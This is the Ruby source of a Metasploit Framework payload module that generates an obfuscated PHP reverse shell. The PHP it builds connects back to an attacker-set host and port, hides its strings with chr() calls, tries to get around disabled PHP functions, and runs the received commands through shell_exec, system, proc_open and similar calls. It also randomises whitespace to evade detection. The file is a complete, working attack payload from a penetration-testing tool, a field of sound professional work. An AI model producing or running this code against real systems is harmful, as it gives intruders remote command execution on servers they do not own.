metasploit-framework/modules/payloads/singles/php/reverse_php.rb

198 lines
5.6 KiB
Ruby
Raw Normal View History

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
module Msf
module Payloads
module Singles
module Php
module ReversePhp
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'PHP Command Shell, Reverse TCP (via php)',
'Version' => '$Revision$',
'Description' => 'Reverse PHP connect back shell with checks for disabled functions',
'Author' => 'egypt <egypt@nmt.edu>',
'License' => BSD_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# PHP Reverse Shell completely without quotes. Strings and regexes
# are replaced with chr() equivalents and the IP address to connect to is
# replaced with integer equivalent wrapped in long2ip().
#
# Attempts to make a connection back to the attacker using fsockopen or
# socket_create and associated functions. Then attempts to execute a
# system command with the following functions, in order:
# - shell_exec
# - passthru
# - system
# - exec
# - proc_open
# - popen
#
# Issues
# - Since each command is executed in a new shell, 'cd' does nothing.
# Perhaps it should be special-cased to call chdir()
# - Tries to get around disable_functions but makes no attempts to
# circumvent safe mode.
# - Should this add '2>&1' to the end of the executed command to avoid
# logging suspicious error messages?
#
def php_reverse_shell
if (!datastore['LHOST'] or datastore['LHOST'].empty?)
# LHOST should always be set when we get here... but in case it isn't,
raise Rex::ArgumentError, "LHOST is required"
end
ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first
port = datastore['LPORT']
#
# The regex looks like this unobfuscated:
# preg_replace('/[, ]+/', ',', $disabled);
#
shell=<<-END_OF_PHP_CODE
$ipaddr=long2ip(#{ipaddr});
$port=#{port};
$_=chr(95);$a=chr(97);$b=chr(98);$c=chr(99);$d=chr(100);$e=chr(101);
$f=chr(102);$h=chr(104);$i=chr(105);$k=chr(107);$l=chr(108);$m=chr(109);
$n=chr(110);$o=chr(111);$p=chr(112);$r=chr(114);$s=chr(115);$t=chr(116);
$u=chr(117);$x=chr(120);$y=chr(121);
$disabled=@ini_get($d.$i.$s.$a.$b.$l.$e.$_.$f.$u.$n.$c.$t.$i.$o.$n.$s);
if(!empty($disabled)){
$disabled=preg_replace(chr(47).chr(91).chr(44).chr(32).chr(93).chr(43).chr(47),chr(44),$disabled);
$disabled=explode(chr(44),$disabled);
$disabled=array_map($t.$r.$i.$m,$disabled);
}else{
$disabled=array();
}
@set_time_limit(0);
@ini_set($m.$a.$x.$_.$e.$x.$e.$c.$u.$t.$i.$o.$n.$_.$t.$i.$m.$e,0);
function myexec($cmd){
global$disabled,$_,$a,$c,$e,$h,$m,$n,$o,$p,$r,$s,$t,$u,$x,$y;
if(is_callable($s.$h.$e.$l.$l.$_.$e.$x.$e.$c)and!in_array($s.$h.$e.$l.$l.$_.$e.$x.$e.$c,$disabled)){
$output=shell_exec($cmd);
return$output;
}elseif(is_callable($p.$a.$s.$s.$t.$h.$r.$u)and!in_array($p.$a.$s.$s.$t.$h.$r.$u,$disabled)){
ob_start();
passthru($cmd);
$output=ob_get_contents();
ob_end_clean();
return$output;
}elseif(is_callable($s.$y.$s.$t.$e.$m)and!in_array($s.$y.$s.$t.$e.$m,$disabled)){
ob_start();
system($cmd);
$output=ob_get_contents();
ob_end_clean();
return$output;
}elseif(is_callable($e.$x.$e.$c)and!in_array($e.$x.$e.$c,$disabled)){
$output=array();
exec($cmd,$output);
$output=join(chr(10),$output).chr(10);
return$output;
}elseif(is_callable($p.$r.$o.$c.$_.$o.$p.$e.$n)and!in_array($p.$r.$o.$c.$_.$o.$p.$e.$n,$disabled)){
$handle=proc_open($cmd,array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes);
$output=NULL;
while(!feof($pipes[1])){
$output.=fread($pipes[1],1024);
}
@proc_close($handle);
return$output;
}elseif(is_callable($p.$o.$p.$e.$n)and!in_array($p.$o.$p.$e.$n,$disabled)){
$fp=popen($cmd,r);
$output=NULL;
if(is_resource($fp)){
while(!feof($fp)){
$output.=fread($fp,1024);
}
}
@pclose($fp);
return$output;
}else{
return false;
}
}
$command=NULL;
$nofuncs=$n.$o.chr(32).$e.$x.$e.$c.chr(32).$f.$u.$n.$c.$t.$i.$o.$n.$s.chr(32).chr(61).chr(40);
if(is_callable($f.$s.$o.$c.$k.$o.$p.$e.$n)and!in_array($f.$s.$o.$c.$k.$o.$p.$e.$n,$disabled)){
$sock=fsockopen($ipaddr,$port);
while($cmd=fread($sock,2048)){
$output=myexec(substr($cmd,0,-1));
if($output===false){
fwrite($sock,$nofuncs);
break;
}
fwrite($sock,$output);
}
fclose($sock);
}else{
$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($sock,$ipaddr,$port);
while($cmd=socket_read($sock,2048)){
$output=myexec(substr($cmd,0,-1));
if($output===false){
socket_write($sock,$nofuncs);
break;
}
socket_write($sock,$output,strlen($output));
}
socket_close($sock);
}
END_OF_PHP_CODE
# randomize the spaces a bit
shell.gsub!(/\s+/) { |s|
len = rand(5)+2
set = "\x09\x20\x0a"
buf = ''
while (buf.length < len)
buf << set[rand(set.length)].chr
end
buf
}
return shell
end
#
# Constructs the payload
#
def generate
return super + php_reverse_shell
end
end
end end end end